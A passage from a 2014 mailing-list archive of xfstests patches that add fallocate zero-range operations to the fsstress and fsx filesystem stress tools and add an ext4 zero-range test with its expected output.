HAVE_LINUX_FALLOC_H */ fallocate_calls = 0; #endif diff --git a/src/global.h b/src/global.h index e6a2c2b..8180f66 100644 --- a/src/global.h +++ b/src/global.h @@ -149,4 +149,29 @@ #include #endif +#ifdef HAVE_LINUX_FALLOC_H +#include + +#ifndef FALLOC_FL_KEEP_SIZE +#define FALLOC_FL_KEEP_SIZE 0x01 +#endif + +#ifndef FALLOC_FL_PUNCH_HOLE +#define FALLOC_FL_PUNCH_HOLE 0x02 #endif + +#ifndef FALLOC_FL_NO_HIDE_STALE +#define FALLOC_FL_NO_HIDE_STALE 0x04 +#endif + +#ifndef FALLOC_FL_COLLAPSE_RANGE +#define FALLOC_FL_COLLAPSE_RANGE 0x08 +#endif + +#ifndef FALLOC_FL_ZERO_RANGE +#define FALLOC_FL_ZERO_RANGE 0x10 +#endif + +#endif /* HAVE_LINUX_FALLOC_H */ + +#endif /* GLOBAL_H */ -- 1.8.3.1 From lczerner@redhat.com Wed Mar 5 09:52:05 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id ACC8E7F5F for ; Wed, 5 Mar 2014 09:52:05 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2EBE1AC009 for ; Wed, 5 Mar 2014 07:52:05 -0800 (PST) X-ASG-Debug-ID: 1394034723-04cb6c567529b090001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id aY33qMNk1A4djiiR for ; Wed, 05 Mar 2014 07:52:03 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s25Fq2e5019950 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 5 Mar 2014 10:52:03 -0500 Received: from localhost.localdomain.com (vpn1-6-48.ams2.redhat.com [10.36.6.48]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s25FpkuR022264; Wed, 5 Mar 2014 10:52:00 -0500 From: Lukas Czerner To: linux-ext4@vger.kernel.org Cc: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, lczerner@redhat.com Subject: [PATCH v2 5/8] xfstests: Add fallocate zero range operation to fsstress Date: Wed, 5 Mar 2014 16:51:36 +0100 X-ASG-Orig-Subj: [PATCH v2 5/8] xfstests: Add fallocate zero range operation to fsstress Message-Id: <1394034699-21187-6-git-send-email-lczerner@redhat.com> In-Reply-To: <1394034699-21187-1-git-send-email-lczerner@redhat.com> References: <1394034699-21187-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1394034723 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 This commit adds fzero operation support for fsstress, which is meant to exercise fallocate FALLOC_FL_ZERO_RANGE support. Also reorganise the common fallocate code into a single do_fallocate() function and use flags use the right mode. Also in order to make more obvious which fallocate mode fsstress is testing translate fallocate flags into human readable strings. Signed-off-by: Lukas Czerner --- ltp/fsstress.c | 178 ++++++++++++++++++++++++++++++++++++++------------------- 1 file changed, 120 insertions(+), 58 deletions(-) diff --git a/ltp/fsstress.c b/ltp/fsstress.c index 7dec7c6..00fda36 100644 --- a/ltp/fsstress.c +++ b/ltp/fsstress.c @@ -70,6 +70,7 @@ typedef enum { OP_MKDIR, OP_MKNOD, OP_PUNCH, + OP_ZERO, OP_READ, OP_READLINK, OP_RENAME, @@ -114,6 +115,17 @@ typedef struct pathname { char *path; } pathname_t; +struct print_flags { + unsigned long mask; + const char *name; +}; + +struct print_string { + char *buffer; + int len; + int max; +}; + #define FT_DIR 0 #define FT_DIRm (1 << FT_DIR) #define FT_REG 1 @@ -155,6 +167,7 @@ void link_f(int, long); void mkdir_f(int, long); void mknod_f(int, long); void punch_f(int, long); +void zero_f(int, long); void read_f(int, long); void readlink_f(int, long); void rename_f(int, long); @@ -192,6 +205,7 @@ opdesc_t ops[] = { { OP_MKDIR, "mkdir", mkdir_f, 2, 1 }, { OP_MKNOD, "mknod", mknod_f, 2, 1 }, { OP_PUNCH, "punch", punch_f, 1, 1 }, + { OP_ZERO, "zero", zero_f, 1, 1 }, { OP_READ, "read", read_f, 1, 0 }, { OP_READLINK, "readlink", readlink_f, 1, 0 }, { OP_RENAME, "rename", rename_f, 2, 1 }, @@ -242,6 +256,7 @@ int verbose = 0; sig_atomic_t should_stop = 0; char *execute_cmd = NULL; int execute_freq = 1; +struct print_string flag_str = {0}; void add_to_flist(int, int, int); void append_pathname(pathname_t *, char *); @@ -543,6 +558,73 @@ int main(int argc, char **argv) return 0; } +int +add_string(struct print_string *str, const char *add) +{ + int len = strlen(add); + + if (len <= 0) + return 0; + + if (len > (str->max - 1) - str->len) { + str->len = str->max - 1; + return 0; + } + + memcpy(str->buffer + str->len, add, len); + str->len += len; + str->buffer[str->len] = '\0'; + + return len; +} + +char * +translate_flags(int flags, const char *delim, + const struct print_flags *flag_array) +{ + int i, mask, first = 1; + const char *add; + + if (!flag_str.buffer) { + flag_str.buffer = malloc(4096); + flag_str.max = 4096; + flag_str.len = 0; + } + if (!flag_str.buffer) + return NULL; + flag_str.len = 0; + flag_str.buffer[0] = '\0'; + + for (i = 0; flag_array[i].name && flags; i++) { + mask = flag_array[i].mask; + if ((flags & mask) != mask) + continue; + + add = flag_array[i].name; + flags &= ~mask; + if (!first && delim) + add_string(&flag_str, delim); + else + first = 0; + add_string(&flag_str, add); + } + + /* Check whether there are any leftover flags. */ + if (flags) { + int ret; + char number[11]; + + if (!first && delim) + add_string(&flag_str, delim); + + ret = snprintf(number, 11, "0x%x", flags) > 0; + if (ret > 0 && ret <= 11) + add_string(&flag_str, number); + } + + return flag_str.buffer; +} + void add_to_flist(int ft, int id, int parent) { @@ -2075,8 +2157,23 @@ dwrite_f(int opno, long r) close(fd); } + +#ifdef HAVE_LINUX_FALLOC_H +struct print_flags falloc_flags [] = { + { FALLOC_FL_KEEP_SIZE, "KEEP_SIZE"}, + { FALLOC_FL_PUNCH_HOLE, "PUNCH_HOLE"}, + { FALLOC_FL_NO_HIDE_STALE, "NO_HIDE_STALE"}, + { FALLOC_FL_COLLAPSE_RANGE, "COLLAPSE_RANGE"}, + { FALLOC_FL_ZERO_RANGE, "ZERO_RANGE"}, + { -1, NULL} +}; + +#define translate_falloc_flags(mode) \ + ({translate_flags(mode, "|", falloc_flags);}) +#endif + void -fallocate_f(int opno, long r) +do_fallocate(int opno, long r, int mode) { #ifdef HAVE_LINUX_FALLOC_H int e; @@ -2088,28 +2185,26 @@ fallocate_f(int opno, long r) struct stat64 stb; int v; char st[1024]; - int mode = 0; init_pathname(&f); if (!get_fname(FT_REGFILE, r, &f, NULL, NULL, &v)) { if (v) - printf("%d/%d: fallocate - no filename\n", procid, opno); + printf("%d/%d: do_fallocate - no filename\n", procid, opno); free_pathname(&f); return; } fd = open_path(&f, O_RDWR); - e = fd < 0 ? errno : 0; - check_cwd(); if (fd < 0) { if (v) - printf("%d/%d: fallocate - open %s failed %d\n", - procid, opno, f.path, e); + printf("%d/%d: do_fallocate - open %s failed %d\n", + procid, opno, f.path, errno); free_pathname(&f); return; } + check_cwd(); if (fstat64(fd, &stb) < 0) { if (v) - printf("%d/%d: fallocate - fstat64 %s failed %d\n", + printf("%d/%d: do_fallocate - fstat64 %s failed %d\n", procid, opno, f.path, errno); free_pathname(&f); close(fd); @@ -2123,14 +2218,21 @@ fallocate_f(int opno, long r) mode |= FALLOC_FL_KEEP_SIZE & random(); e = fallocate(fd, mode, (loff_t)off, (loff_t)len) < 0 ? errno : 0; if (v) - printf("%d/%d: fallocate(%d) %s %st %lld %lld %d\n", - procid, opno, mode, + printf("%d/%d: fallocate(%s) %s %st %lld %lld %d\n", + procid, opno, translate_falloc_flags(mode), f.path, st, (long long)off, (long long)len, e); free_pathname(&f); close(fd); #endif } +void +fallocate_f(int opno, long r) +{ +#ifdef HAVE_LINUX_FALLOC_H + do_fallocate(opno, r, 0); +#endif +} void fdatasync_f(int opno, long r) @@ -2501,55 +2603,15 @@ void punch_f(int opno, long r) { #ifdef HAVE_LINUX_FALLOC_H - int e; - pathname_t f; - int fd; - __int64_t lr; - off64_t off; - off64_t len; - struct stat64 stb; - int v; - char st[1024]; - int mode = FALLOC_FL_PUNCH_HOLE; + do_fallocate(opno, r, FALLOC_FL_PUNCH_HOLE); +#endif +} - init_pathname(&f); - if (!get_fname(FT_REGFILE, r, &f, NULL, NULL, &v)) { - if (v) - printf("%d/%d: punch hole - no filename\n", procid, opno); - free_pathname(&f); - return; - } - fd = open_path(&f, O_RDWR); - e = fd < 0 ? errno : 0; - check_cwd(); - if (fd < 0) { - if (v) - printf("%d/%d: punch hole - open %s failed %d\n", - procid, opno, f.path, e); - free_pathname(&f); - return; - } - if (fstat64(fd, &stb) < 0) { - if (v) - printf("%d/%d: punch hole - fstat64 %s failed %d\n", - procid, opno, f.path, errno); - free_pathname(&f); - close(fd); - return; - } - inode_info(st, sizeof(st), &stb, v); - lr = ((__int64_t)random() << 32) + random(); - off = (off64_t)(lr % MIN(stb.st_size + (1024 * 1024), MAXFSIZE)); - off %= maxfsize; - len = (off64_t)(random() % (1024 * 1024)); - mode |= FALLOC_FL_KEEP_SIZE & random(); - e = fallocate(fd, mode, (loff_t)off, (loff_t)len) < 0 ? errno : 0; - if (v) - printf("%d/%d: punch hole(%d) %s %s %lld %lld %d\n", - procid, opno, mode, - f.path, st, (long long)off, (long long)len, e); - free_pathname(&f); - close(fd); +void +zero_f(int opno, long r) +{ +#ifdef HAVE_LINUX_FALLOC_H + do_fallocate(opno, r, FALLOC_FL_ZERO_RANGE); #endif } -- 1.8.3.1 From lczerner@redhat.com Wed Mar 5 09:52:09 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8CC0D7F54 for ; Wed, 5 Mar 2014 09:52:09 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3A974AC00B for ; Wed, 5 Mar 2014 07:52:09 -0800 (PST) X-ASG-Debug-ID: 1394034728-04bdf05dab2befb0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id KEU4TwkxYQoVikFm for ; Wed, 05 Mar 2014 07:52:08 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s25Fq6AZ013743 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 5 Mar 2014 10:52:06 -0500 Received: from localhost.localdomain.com (vpn1-6-48.ams2.redhat.com [10.36.6.48]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s25FpkuS022264; Wed, 5 Mar 2014 10:52:03 -0500 From: Lukas Czerner To: linux-ext4@vger.kernel.org Cc: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, lczerner@redhat.com Subject: [PATCH v2 6/8] fsstress: translate flags in fiemap_f Date: Wed, 5 Mar 2014 16:51:37 +0100 X-ASG-Orig-Subj: [PATCH v2 6/8] fsstress: translate flags in fiemap_f Message-Id: <1394034699-21187-7-git-send-email-lczerner@redhat.com> In-Reply-To: <1394034699-21187-1-git-send-email-lczerner@redhat.com> References: <1394034699-21187-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1394034728 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Translate flags in fiemap_f output to human readable strings. Signed-off-by: Lukas Czerner Reviewed-by: Eric Sandeen --- ltp/fsstress.c | 17 +++++++++++++++-- 1 file changed, 15 insertions(+), 2 deletions(-) diff --git a/ltp/fsstress.c b/ltp/fsstress.c index 00fda36..40f9a03 100644 --- a/ltp/fsstress.c +++ b/ltp/fsstress.c @@ -2266,6 +2266,18 @@ fdatasync_f(int opno, long r) free_pathname(&f); close(fd); } + +#ifdef HAVE_LINUX_FIEMAP_H +struct print_flags fiemap_flags[] = { + { FIEMAP_FLAG_SYNC, "SYNC"}, + { FIEMAP_FLAG_XATTR, "XATTR"}, + { -1, NULL} +}; + +#define translate_fiemap_flags(mode) \ + ({translate_flags(mode, "|", fiemap_flags);}) +#endif + void fiemap_f(int opno, long r) { @@ -2328,9 +2340,10 @@ fiemap_f(int opno, long r) e = ioctl(fd, FS_IOC_FIEMAP, (unsigned long)fiemap); if (v) - printf("%d/%d: ioctl(FIEMAP) %s%s %lld %lld %x %d\n", + printf("%d/%d: ioctl(FIEMAP) %s%s %lld %lld (%s) %d\n", procid, opno, f.path, st, (long long)fiemap->fm_start, - (long long) fiemap->fm_length, fiemap->fm_flags, e); + (long long) fiemap->fm_length, + translate_fiemap_flags(fiemap->fm_flags), e); free(fiemap); free_pathname(&f); close(fd); -- 1.8.3.1 From lczerner@redhat.com Wed Mar 5 09:52:11 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 742197F75 for ; Wed, 5 Mar 2014 09:52:11 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4B39B8F8070 for ; Wed, 5 Mar 2014 07:52:11 -0800 (PST) X-ASG-Debug-ID: 1394034730-04cbb054b7ab8f0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id Ql5uDxoSzd77RgND for ; Wed, 05 Mar 2014 07:52:10 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s25Fq9Q7032344 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 5 Mar 2014 10:52:09 -0500 Received: from localhost.localdomain.com (vpn1-6-48.ams2.redhat.com [10.36.6.48]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s25FpkuT022264; Wed, 5 Mar 2014 10:52:06 -0500 From: Lukas Czerner To: linux-ext4@vger.kernel.org Cc: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, lczerner@redhat.com Subject: [PATCH v2 7/8] xfstests: Add fallocate zero range operation to fsx Date: Wed, 5 Mar 2014 16:51:38 +0100 X-ASG-Orig-Subj: [PATCH v2 7/8] xfstests: Add fallocate zero range operation to fsx Message-Id: <1394034699-21187-8-git-send-email-lczerner@redhat.com> In-Reply-To: <1394034699-21187-1-git-send-email-lczerner@redhat.com> References: <1394034699-21187-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1394034730 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 This commit adds fallocate FALLOC_FL_ZERO_RANGE support for fsx. Signed-off-by: Lukas Czerner --- ltp/fsx.c | 137 +++++++++++++++++++++++++++++++++++++++++++++++--------------- 1 file changed, 105 insertions(+), 32 deletions(-) diff --git a/ltp/fsx.c b/ltp/fsx.c index c36a038..bd1ed76 100644 --- a/ltp/fsx.c +++ b/ltp/fsx.c @@ -69,6 +69,7 @@ int logcount = 0; /* total ops */ * TRUNCATE: - 4 * FALLOCATE: - 5 * PUNCH HOLE: - 6 + * ZERO RANGE: - 7 * * When mapped read/writes are disabled, they are simply converted to normal * reads and writes. When fallocate/fpunch calls are disabled, they are @@ -92,7 +93,8 @@ int logcount = 0; /* total ops */ #define OP_TRUNCATE 4 #define OP_FALLOCATE 5 #define OP_PUNCH_HOLE 6 -#define OP_MAX_FULL 7 +#define OP_ZERO_RANGE 7 +#define OP_MAX_FULL 8 /* operation modifiers */ #define OP_CLOSEOPEN 100 @@ -139,6 +141,7 @@ int seed = 1; /* -S flag */ int mapped_writes = 1; /* -W flag disables */ int fallocate_calls = 1; /* -F flag disables */ int punch_hole_calls = 1; /* -H flag disables */ +int zero_range_calls = 1; /* -z flag disables */ int mapped_reads = 1; /* -R flag disables it */ int fsxgoodfd = 0; int o_direct; /* -Z */ @@ -317,6 +320,14 @@ logdump(void) lp->args[0] + lp->args[1]) prt("\t******PPPP"); break; + case OP_ZERO_RANGE: + prt("ZERO 0x%x thru 0x%x\t(0x%x bytes)", + lp->args[0], lp->args[0] + lp->args[1] - 1, + lp->args[1]); + if (badoff >= lp->args[0] && badoff < + lp->args[0] + lp->args[1]) + prt("\t******ZZZZ"); + break; case OP_SKIPPED: prt("SKIPPED (no operation)"); break; @@ -879,6 +890,65 @@ do_punch_hole(unsigned offset, unsigned length) } #endif +#ifdef FALLOC_FL_ZERO_RANGE +void +do_zero_range(unsigned offset, unsigned length) +{ + unsigned end_offset; + int mode = FALLOC_FL_ZERO_RANGE; + int keep_size; + + if (length == 0) { + if (!quiet && testcalls > simulatedopcount) + prt("skipping zero length zero range\n"); + log4(OP_SKIPPED, OP_ZERO_RANGE, offset, length); + return; + } + + keep_size = random() % 2; + + end_offset = keep_size ? 0 : offset + length; + + if (end_offset > biggest) { + biggest = end_offset; + if (!quiet && testcalls > simulatedopcount) + prt("zero_range to largest ever: 0x%x\n", end_offset); + } + + /* + * last arg matches fallocate string array index in logdump: + * 0: allocate past EOF + * 1: extending prealloc + * 2: interior prealloc + */ + log4(OP_ZERO_RANGE, offset, length, (end_offset > file_size) ? (keep_size ? 0 : 1) : 2); + + if (testcalls <= simulatedopcount) + return; + + if ((progressinterval && testcalls % progressinterval == 0) || + (debug && (monitorstart == -1 || monitorend == -1 || + end_offset <= monitorend))) { + prt("%lu zero\tfrom 0x%x to 0x%x, (0x%x bytes)\n", testcalls, + offset, offset+length, length); + } + if (fallocate(fd, mode, (loff_t)offset, (loff_t)length) == -1) { + prt("%pzero range: %x to %x\n", offset, length); + prterr("do_zero_range: fallocate"); + report_failure(161); + } + + memset(good_buf + offset, '\0', length); +} + +#else +void +do_zero_range(unsigned offset, unsigned length) +{ + return; +} +#endif + #ifdef HAVE_LINUX_FALLOC_H /* fallocate is basically a no-op unless extending, then a lot like a truncate */ void @@ -1047,6 +1117,12 @@ test(void) goto out; } break; + case OP_ZERO_RANGE: + if (!zero_range_calls) { + log4(OP_SKIPPED, OP_ZERO_RANGE, offset, size); + goto out; + } + break; } switch (op) { @@ -1085,6 +1161,10 @@ test(void) TRIM_OFF_LEN(offset, size, file_size); do_punch_hole(offset, size); break; + case OP_ZERO_RANGE: + TRIM_OFF_LEN(offset, size, file_size); + do_zero_range(offset, size); + break; default: prterr("test: unknown operation"); report_failure(42); @@ -1140,7 +1220,10 @@ usage(void) " -F: Do not use fallocate (preallocation) calls\n" #endif #ifdef FALLOC_FL_PUNCH_HOLE -" -H: Do not use punch hole calls\n" +" -H: Do not use punch hole calls\n" +#endif +#ifdef FALLOC_FL_ZERO_RANGE +" -z: Do not use zero range calls\n" #endif " -L: fsxLite - no file creations & no file size changes\n\ -N numops: total # operations to do (default infinity)\n\ @@ -1290,40 +1373,22 @@ int aio_rw(int rw, int fd, char *buf, unsigned len, unsigned offset) #endif -void -test_fallocate() +int +test_fallocate(int mode) { #ifdef HAVE_LINUX_FALLOC_H - if (!lite && fallocate_calls) { - if (fallocate(fd, 0, 0, 1) && errno == EOPNOTSUPP) { + int ret = 0; + if (!lite) { + if (fallocate(fd, mode, 0, 1) && errno == EOPNOTSUPP) { if(!quiet) - warn("main: filesystem does not support fallocate, disabling\n"); - fallocate_calls = 0; + warn("main: filesystem does not support " + "fallocate mode 0x%x, disabling!\n", mode); } else { + ret = 1; ftruncate(fd, 0); } } -#else /* ! HAVE_LINUX_FALLOC_H */ - fallocate_calls = 0; -#endif - -} - -void -test_punch_hole() -{ -#ifdef FALLOC_FL_PUNCH_HOLE - if (!lite && punch_hole_calls) { - if (fallocate(fd, FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE, - 0, 1) && errno == EOPNOTSUPP) { - if(!quiet) - warn("main: filesystem does not support fallocate punch hole, disabling"); - punch_hole_calls = 0; - } else - ftruncate(fd, 0); - } -#else /* ! PUNCH HOLE */ - punch_hole_calls = 0; + return ret; #endif } @@ -1345,7 +1410,7 @@ main(int argc, char **argv) setvbuf(stdout, (char *)0, _IOLBF, 0); /* line buffered stdout */ - while ((ch = getopt(argc, argv, "b:c:dfl:m:no:p:qr:s:t:w:xyAD:FHLN:OP:RS:WZ")) + while ((ch = getopt(argc, argv, "b:c:dfl:m:no:p:qr:s:t:w:xyAD:FHzLN:OP:RS:WZ")) != EOF) switch (ch) { case 'b': @@ -1445,6 +1510,9 @@ main(int argc, char **argv) case 'H': punch_hole_calls = 0; break; + case 'z': + zero_range_calls = 0; + break; case 'L': lite = 1; break; @@ -1590,8 +1658,13 @@ main(int argc, char **argv) } else check_trunc_hack(); - test_fallocate(); - test_punch_hole(); + if (fallocate_calls) + fallocate_calls = test_fallocate(0); + if (punch_hole_calls) + punch_hole_calls = test_fallocate(FALLOC_FL_PUNCH_HOLE | + FALLOC_FL_KEEP_SIZE); + if (zero_range_calls) + zero_range_calls = test_fallocate(FALLOC_FL_ZERO_RANGE); while (numops == -1 || numops--) test(); -- 1.8.3.1 From lczerner@redhat.com Wed Mar 5 09:52:15 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3FBAB7F7B for ; Wed, 5 Mar 2014 09:52:15 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id B4443AC006 for ; Wed, 5 Mar 2014 07:52:14 -0800 (PST) X-ASG-Debug-ID: 1394034732-04cb6c567529b0e0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id EyIGF0Ozz7R9IAMU for ; Wed, 05 Mar 2014 07:52:13 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s25FqCYD003611 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 5 Mar 2014 10:52:12 -0500 Received: from localhost.localdomain.com (vpn1-6-48.ams2.redhat.com [10.36.6.48]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s25FpkuU022264; Wed, 5 Mar 2014 10:52:09 -0500 From: Lukas Czerner To: linux-ext4@vger.kernel.org Cc: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, lczerner@redhat.com Subject: [PATCH v2 8/8] ext4/001: Add ext4 specific test for fallocate zero range Date: Wed, 5 Mar 2014 16:51:39 +0100 X-ASG-Orig-Subj: [PATCH v2 8/8] ext4/001: Add ext4 specific test for fallocate zero range Message-Id: <1394034699-21187-9-git-send-email-lczerner@redhat.com> In-Reply-To: <1394034699-21187-1-git-send-email-lczerner@redhat.com> References: <1394034699-21187-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1394034732 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 This is based on xfs/242. However it's better to make it file system specific because the range can be zeroes either directly by writing zeroes, or converting to unwritten extent, so the actual result might differ from file system to file system. Also xfs results differ depending on the page size which is not the case for ext4. Signed-off-by: Lukas Czerner Reviewed-by: Eric Sandeen --- tests/ext4/001 | 64 ++++++++++ tests/ext4/001.out | 337 +++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/ext4/group | 1 + 3 files changed, 402 insertions(+) create mode 100755 tests/ext4/001 create mode 100644 tests/ext4/001.out diff --git a/tests/ext4/001 b/tests/ext4/001 new file mode 100755 index 0000000..d575d9a --- /dev/null +++ b/tests/ext4/001 @@ -0,0 +1,64 @@ +#! /bin/bash +# FS QA Test No. 001 +# +# Test fallocate FALLOC_FL_ZERO_RANGE +# +#----------------------------------------------------------------------- +# Copyright 2014 (C) Red Hat, Inc., Lukas Czerner +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! + +_cleanup() +{ + rm -f $tmp.* +} + +trap "_cleanup ; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter +. ./common/punch + +# real QA test starts here +_supported_fs ext4 +_supported_os Linux +_require_xfs_io_falloc "fzero" + +testfile=$TEST_DIR/001.$$ + +# Standard zero range tests +_test_generic_punch falloc fzero fzero fiemap _filter_fiemap $testfile + +# Delayed allocation zero range tests +_test_generic_punch -d falloc fzero fzero fiemap _filter_fiemap $testfile + +# Multi zero range tests +_test_generic_punch -k falloc fzero fzero fiemap _filter_fiemap $testfile + +# Delayed allocation multi zero range tests +_test_generic_punch -d -k falloc fzero fzero fiemap _filter_fiemap $testfile + +status=0 ; exit diff --git a/tests/ext4/001.out b/tests/ext4/001.out new file mode 100644 index 0000000..212c247 --- /dev/null +++ b/tests/ext4/001.out @@ -0,0 +1,337 @@ +QA output created by 001 + 1. into a hole +0: [0..7]: hole +1: [8..23]: unwritten +2: [24..39]: hole +daa100df6e6711906b61c9ab5aa16032 + 2. into allocated space +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 3. into unwritten space +0: [0..39]: unwritten +daa100df6e6711906b61c9ab5aa16032 + 4. hole -> data +0: [0..7]: hole +1: [8..23]: unwritten +2: [24..31]: data +3: [32..39]: hole +cc63069677939f69a6e8f68cae6a6dac + 5. hole -> unwritten +0: [0..7]: hole +1: [8..31]: unwritten +2: [32..39]: hole +daa100df6e6711906b61c9ab5aa16032 + 6. data -> hole +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: hole +1b3779878366498b28c702ef88c4a773 + 7. data -> unwritten +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: hole +1b3779878366498b28c702ef88c4a773 + 8. unwritten -> hole +0: [0..23]: unwritten +1: [24..39]: hole +daa100df6e6711906b61c9ab5aa16032 + 9. unwritten -> data +0: [0..23]: unwritten +1: [24..31]: data +2: [32..39]: hole +cc63069677939f69a6e8f68cae6a6dac + 10. hole -> data -> hole +0: [0..7]: hole +1: [8..31]: unwritten +2: [32..39]: hole +daa100df6e6711906b61c9ab5aa16032 + 11. data -> hole -> data +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 12. unwritten -> 